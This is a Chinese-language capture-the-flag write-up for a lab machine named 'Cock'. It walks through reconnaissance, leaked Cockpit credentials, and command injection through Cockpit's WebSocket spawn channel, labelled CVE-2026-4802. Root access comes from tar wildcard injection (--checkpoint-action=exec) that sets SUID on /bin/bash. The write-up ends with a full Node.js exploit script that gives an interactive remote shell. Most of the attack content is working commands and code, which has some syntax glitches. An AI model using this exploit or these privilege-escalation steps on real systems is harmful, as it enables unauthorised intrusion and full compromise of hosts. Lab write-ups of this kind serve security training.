

群友靶机-Cock

信息搜集

```
└─(root@kali)-[~]
└─# nmap 10.116.139.108 -p- -A
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-05 06:08 EDT
Nmap scan report for 10.116.139.108
Host is up (0.00026s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
80/tcp    open  http         nginx 1.24.0
|_http-server-header: nginx/1.24.0
| http-robots.txt: 1 disallowed entry
|_/monomono/
|_http-title: SkyLine VPN Node Monitor
8090/tcp  open  ssl/opsmessaging?
|_ssl-date: TLS randomness does not represent time
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.1 400 Bad request
|     Content-Type: text/html; charset=utf8
|     Transfer-Encoding: chunked
|     X-DNS-Prefetch-Control: off
|     Referrer-Policy: no-referrer
|     X-Content-Type-Options: nosniff
|     Cross-Origin-Resource-Policy: same-origin
|     X-Frame-Options: sameorigin
|     1558
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>Bad request</title>
|     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <style>
|       :root {
|         --pf-t--global--background--color--secondary--default: #f2f2f2;
|         --pf-v6-c-page__main-container--BackgroundColor: #ffffff;
|         --pf-v6-c-empty-state__icon--Color: #707070;
|         --pf-t--global--text--color--regular: #151515;
|         :root:where(.pf-v6-theme-dark) {
|_   --pf-t--global--background--color--secondary--default: #151515;
| ssl-cert: Subject:
commonName=cock/organizationName=c2d6d1b6c1084753b022ca80771b162d
| Subject Alternative Name: IP Address:127.0.0.1, DNS:localhost
| Not valid before: 2026-08-05T10:08:44
|_Not valid after: 2027-09-04T10:08:44
1 service unrecognized despite returning data. If you know the service/version,
please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?
new-service :
SF-Port8090-TCP:V=7.95T=SSL%I=7%D=8/5%Time=6A730BC6%P=x86_64-pc-linux-gnu
SF:%r(GetRequest,1668,"HTTP/1\.\1\x20400\x20Bad\x20request\r\nContent-Type:
```

[illegible]

```
TRACEROUTE
```

```
HOP RTT      ADDRESS
1   0.26 ms  10.116.139.108
```

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

Nmap done: 1 IP address (1 host up) scanned in 140.55 seconds

开放端口

端口	服务	说明
22/tcp	OpenSSH 10.0p2	SSH
80/tcp	nginx 1.24.0	SkyLine VPN Node Monitor
8090/tcp	Cockpit	1p Operations Console

开放了3个端口，80上是一个VPN运维面板，8090跑的是Cockpit。

WEB探测

端口80

```
└─(root@kali)-[~/tmp]
└─# curl -s http://10.116.139.108/
```

返回 SkyLine VPN Node Monitor 页面，HTML 注释里给了线索：

```
<!-- legacy inventory moved to /monomono/node_inventory.html -->
<!-- ops console migrated to Cockpit; stale credentials may still be valid -->
```

看一下 robots.txt：

```
└─(root@kali)-[~/tmp]
└─# curl -s http://10.116.139.108/robots.txt
User-agent: *
Disallow: /monomono/
```

`/monomono/` 开了目录列表，里面就一个 `node_inventory.html`，直接看：

```
└─(root@kali)-[~/tmp]
└─# curl -s http://10.116.139.108/monomono/node_inventory.html
```

里面是一张运维节点台账，泄露了一些凭证，并且copy-safe 区域直接把凭证汇总了出来：

```
cockpit:https://TARGET-IP:8090/
svc_vpn:admin123
hint:Cockpit logs filter / CVE-2026-4802
```

这里拿到了 Cockpit 的弱口令 `svc_vpn:admin123`。

初始访问 — CVE-2026-4802

表里还有一个 `cockpit-log` 条目，指向 `/system/logs` 的过滤器，标记了 CVE-2026-4802。Cockpit 日志模块底层通过 WebSocket `spawn` 协议调用 `journalctl`，`spawn` 的 `command` 数组未做过滤，可直接注入 `/bin/sh -c` 执行任意命令。

先用 `svc_vpn:admin123` 做 HTTP Basic Auth 拿 Cookie：

```
(root@kali) - [~/tmp]
└─# AUTH=$(echo -ne 'svc_vpn:admin123\x00' | base64 -w0)
(root@kali) - [~/tmp]
└─# curl -sk -c /tmp/cockpit_cookies.txt \
    'https://10.116.139.108:8090/cockpit/login' \
    -H "Authorization: Basic $AUTH"
{"csrf-
token":"d035117b2c05d29f3a37e2afb09c9c1a3546d7f09ee1243f65cb19c223dbdb6f"}
```

拿到 Cookie 后，用 CVE-2026-4802 exploit 脚本连 WebSocket 发 `spawn` 注入 `/bin/sh -c`：

```
(root@kali) - [~/tmp]
└─# node cve_shell.js
[*] CVE-2026-4802 - Cockpit Logs Filter Command Injection
[*] Target: 10.116.139.108:8090
[*] Credential: svc_vpn:admin123

[+] uid: uid=1001(svc_vpn) gid=1001(svc_vpn) groups=1001(svc_vpn),4(adm)
[+] Got shell! Type commands (empty line to exit):

cve-shell> id
uid=1001(svc_vpn) gid=1001(svc_vpn) groups=1001(svc_vpn),4(adm)
```

`svc_vpn` shell 到手，`adm` 组能读系统日志。翻 `/var/log/` 发现 `vpn-manager` 目录可读：

```
svc_vpn@cock:~$ ls -la /var/log/vpn-manager/
total 12
drwxr-x--- 2 root adm 4096 Jul 19 09:53 .
drwxr-xr-x 8 root root 4096 Aug 5 06:26 ..
-rw-r----- 1 root adm 575 Jul 22 23:35 sync.log
svc_vpn@cock:~$ cat /var/log/vpn-manager/sync.log
2026-07-01 01:18:46 [DEBUG] fallback command: sshpass -p 'Cock_Log_2026!' ssh -o
StrictHostKeyChecking=no cock@127.0.0.1 '/usr/local/bin/subscription-sync --
once'
```

拿到 `cock:Cock_Log_2026!`，直接 `su` 切过去：

```
svc_vpn@cock:~$ su cock
Password:
cock@cock:/home/svc_vpn$ id
uid=1002(cock) gid=1002(cock) groups=1002(cock),1004(backupops)
```

后面全用 `cock` 操作，`cock` 在 `backupops` 组里。

提权 — cock → root

cock 登上来翻一下计划任务：

```
cock@cock:/home/svc_vpn$ systemctl list-timers
NEXT                                LEFT LAST                                PASSED UNIT
                                ACTIVATES
wed 2026-08-05 07:22:25 EDT      28s wed 2026-08-05 07:21:25 EDT      31s ago cock-
vpn-backup.timer                cock-vpn-backup.service
wed 2026-08-05 08:14:03 EDT      52min Sat 2026-04-25 06:21:52 EDT      - apt-
daily.timer                    apt-daily.service
Thu 2026-08-06 00:00:00 EDT       16h wed 2026-08-05 06:07:45 EDT      1h 14min ago dpkg-
db-backup.timer                dpkg-db-backup.service
Thu 2026-08-06 00:50:37 EDT       17h wed 2026-08-05 06:51:27 EDT      30min ago
logrotate.timer                logrotate.service
Thu 2026-08-06 06:22:50 EDT       23h wed 2026-08-05 06:22:50 EDT      59min ago
systemd-tmpfiles-clean.timer   systemd-tmpfiles-clean.service
Thu 2026-08-06 06:50:09 EDT       23h wed 2026-08-05 06:54:30 EDT      27min ago apt-
daily-upgrade.timer            apt-daily-upgrade.service
Sun 2026-08-09 03:10:29 EDT      3 days wed 2026-08-05 06:08:13 EDT      1h 13min ago
e2scrub_all.timer              e2scrub_all.service
Mon 2026-08-10 00:35:15 EDT      4 days wed 2026-08-05 06:19:10 EDT      1h 2min ago
fstrim.timer                   fstrim.service

8 timers listed.
Pass --all to see loaded but inactive timers, too.
cock@cock:/home/svc_vpn$ cat /etc/systemd/system/cock-vpn-backup.service
[Unit]
Description=Cockpit VPN Manager Custom Backup Job
After=network.target

[Service]
Type=oneshot
User=root
Group=root
ExecStart=/usr/local/bin/cock-vpn-backup.sh
cock@cock:/home/svc_vpn$ cat /usr/local/bin/cock-vpn-backup.sh
#!/bin/bash
set -u

SRC_DIR="/opt/cock/backup/apps/vpn-manager/files"
DST_DIR="/opt/cock/backup/apps/vpn-manager/archives"
LOG_FILE="/opt/cock/log/backup.log"

mkdir -p "$DST_DIR"
mkdir -p "$(dirname "$LOG_FILE")"

echo "$(date '+%F %T') [INFO] Cockpit custom backup hook started" >> "$LOG_FILE"
echo "$(date '+%F %T') [INFO] source directory: $SRC_DIR" >> "$LOG_FILE"

cd "$SRC_DIR" || exit 1

tar -czf "$DST_DIR/vpn-manager_$(date '+%Y%m%d_%H%M%S').tar.gz" *
RET=$?

if [ "$RET" -eq 0 ]; then
    echo "$(date '+%F %T') [INFO] backup finished successfully" >> "$LOG_FILE"
else
```

```
echo "$(date '+%F %T') [ERROR] backup failed with exit code $RET" >>
"$LOG_FILE"
fi

find "$DST_DIR" -type f -name "vpn-manager_*.tar.gz" -mtime +2 -delete
```

root 每分钟在 `/opt/cock/backup/apps/vpn-manager/files` 下跑 `tar *`。cock 在 backupops 组, 可以往里面写东西:

```
cock@cock:~$ ls -la /opt/cock/backup/apps/vpn-manager/
drwxrwxr-x 2 root backupops 4096 files    # backupops 组可写
```

README.backup 里还给了"提示":

```
Do not place option-like filenames in this directory.
```

tar 通配符注入, 参考 [GTFobins tar](#), 在源目录下创建 `--checkpoint=1` 和 `--checkpoint-action=exec=...` 两个文件。cock 在 backupops 组可写该目录, 脚本直接放同目录, checkpoint-action 用 `sh rootshell.sh` 即可, 无需 `cd` 绕路:

```
cock@cock:~$ cd /opt/cock/backup/apps/vpn-manager/files
cock@cock:/opt/cock/backup/apps/vpn-manager/files$ echo 'chmod +s /bin/bash' >
rootshell.sh
cock@cock:/opt/cock/backup/apps/vpn-manager/files$ chmod +x rootshell.sh
cock@cock:/opt/cock/backup/apps/vpn-manager/files$ touch -- --checkpoint=1
cock@cock:/opt/cock/backup/apps/vpn-manager/files$ touch -- '--checkpoint-
action=exec=sh rootshell.sh'
```

等一分钟, tar 以 root 执行时触发 `rootshell.sh`, 给 `/bin/bash` 加上 SUID 位。bash -p 拿 root:

```
cock@cock:/opt/cock/backup/apps/vpn-manager/files$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1265648 Mar 2  2025 /bin/bash
cock@cock:/opt/cock/backup/apps/vpn-manager/files$ bash -p
bash-5.2# id
uid=1002(cock) gid=1002(cock) euid=0(root) egid=0(root)
groups=1002(cock),1004(backupops)
```

Flag

```
bash-5.2# cat /root/root.txt
flag{root-7bd67f31b52f2a804a810e5c7cc3c988}
```

EXP

```
cve_
// CVE-2026-4802: Cockpit logs filter command injection via WebSocket spawn
const websocket = require('ws');
const https = require('https');
const readline = require('readline');

const TARGET = '10.116.139.108';
const USER = 'svc_vpn';
```

```

const PASS = 'admin123';

function auth(cb) {
  const auth = Buffer.from(`${USER}:${PASS}\0`).toString('base64');
  const req = https.request({
    hostname: TARGET, port: 8090, path: '/cockpit/login',
    method: 'GET', rejectUnauthorized: false,
    headers: { 'Authorization': `Basic ${auth}` }
  }, res => {
    let d = '';
    res.on('data', c => d += c);
    res.on('end', () => {
      const ck = res.headers['set-cookie'].find(c => c.startsWith('cockpit='));
      cb(ck ? ck.split(';')[0] : null);
    });
  });
  req.end();
}

function exec(cmd, timeout = 10000) {
  return new Promise((resolve, reject) => {
    auth(cookie => {
      if (!cookie) return reject('Auth failed');

      const ws = new WebSocket(`wss://${TARGET}:8090/cockpit/socket`, 'cockpit1',
{
      rejectUnauthorized: false,
      headers: { 'Cookie': cookie, 'Origin': `https://${TARGET}:8090` }
    });

      let output = '';
      let done = false;
      const ch = '1:99';
      const timer = setTimeout(() => { if (!done) { done = true; ws.close();
resolve(output); } }, timeout);

      ws.on('open', () => ws.send(`\n{"command":"init","version":1}`));

      ws.on('message', data => {
        const text = data.toString();
        const lines = text.split('\n');
        const channel = lines.length > 1 ? lines[0] : null;
        const msg = lines.length > 1 ? lines.slice(1).join('\n') : text;

        try {
          const json = JSON.parse(msg);
          if (json.command === 'init' && !done) {
            const escaped = cmd.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
            ws.send(`\n{"payload":"stream","spawn":["bin/sh","-
c","${escaped}"],"command":"open","channel":"${ch}","host":"localhost","flow-
control":true}`);
          }
          if (json.command === 'done' && json.channel === ch) {
            done = true; clearTimeout(timer); ws.close(); resolve(output);
          }
          if (json.command === 'close' && json.channel === ch) {
            done = true; clearTimeout(timer); ws.close(); resolve(output);
          }
        }
      });
    });
  });
}

```

```

        } catch (e) {
            if (channel === ch) output += msg;
        }
    });

    ws.on('error', e => { if (!done) { done = true; clearTimeout(timer);
reject(e.message); } });
    });
});
}

(async () => {
    console.log(`[*] CVE-2026-4802 - Cockpit Logs Filter Command Injection`);
    console.log(`[*] Target: ${TARGET}:8090`);
    console.log(`[*] Credential: ${USER}:${PASS}\n`);

    // Test
    const id = await exec('id 2>&1');
    console.log(`[+] uid: ${id.trim()}`);

    // Interactive shell mode
    console.log(`[+] Got shell! Type commands (empty line to exit):\n`);

    const rl = readline.createInterface({ input: process.stdin, output:
process.stdout });
    const prompt = () => { rl.question('cve-shell> ', async (cmd) => {
        if (!cmd || cmd === 'exit') { console.log('Bye!'); rl.close();
process.exit(0); }
        const out = await exec(cmd + ' 2>&1');
        console.log(out);
        prompt();
    });};
    prompt();
})();

```